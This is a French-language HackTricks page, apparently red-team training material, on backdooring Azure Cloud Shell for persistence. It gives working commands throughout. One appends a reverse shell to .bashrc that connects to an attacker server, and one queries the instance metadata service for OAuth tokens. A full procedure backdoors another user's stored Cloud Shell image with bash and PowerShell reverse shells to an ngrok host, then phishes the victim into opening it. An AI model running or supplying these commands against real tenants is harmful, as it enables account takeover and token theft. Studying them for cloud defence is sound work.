Az - Cloud Shell Persistence

Reading time: 4 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Cloud Shell Persistence

Azure Cloud Shell offre un accès en ligne de commande pour gérer les ressources Azure avec un stockage persistant et une authentification automatique. Les attaquants peuvent exploiter cela en plaçant des portes dérobées dans le répertoire personnel persistant :

  • Stockage Persistant : Le répertoire personnel d'Azure Cloud Shell est monté sur un partage de fichiers Azure et reste intact même après la fin de la session.
  • Scripts de Démarrage : Des fichiers comme .bashrc ou config/PowerShell/Microsoft.PowerShell_profile.ps1 s'exécutent automatiquement au début de chaque session, permettant une exécution persistante lorsque le cloud shell démarre.

Exemple de porte dérobée dans .bashrc :

bash
echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc

Cette porte dérobée peut exécuter des commandes même 5 minutes après que le cloud shell a été terminé par l'utilisateur.

De plus, interrogez le service de métadonnées d'Azure pour obtenir des détails sur l'instance et des jetons :

bash
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s

Phishing dans Cloud Shell

Si un attaquant trouve d'autres images d'utilisateurs dans un compte de stockage auquel il a accès en écriture et en lecture, il pourra télécharger l'image, ajouter un backdoor bash et PS dedans, et la télécharger à nouveau dans le compte de stockage afin que la prochaine fois que l'utilisateur accède au shell, les commandes seront automatiquement exécutées.

  • Télécharger, backdoor et télécharger l'image :
bash
# Download image
mkdir /tmp/phishing_img
az storage file download-batch -d /tmp/phishing_img --account-name <acc-name> -s <file-share>

# Mount the image
mkdir /tmp/backdoor_img
sudo mount ./.cloudconsole/acc_carlos.img /tmp/backdoor_img
cd /tmp/backdoor_img

# Create backdoor
mkdir .config
mkdir .config/PowerShell
touch .config/PowerShell/Microsoft.PowerShell_profile.ps1
chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1

# Bash backdoor
echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc

# PS backdoor
echo '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19838);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' >> .config/PowerShell/Microsoft.PowerShell_profile.ps1

# Unmount
cd /tmp
sudo umount /tmp/backdoor_img

# Upload image
az storage file upload --account-name <acc-name> --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img" -s <file-share>
  • Ensuite, hameçonner l'utilisateur pour accéder à https://shell.azure.com/

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks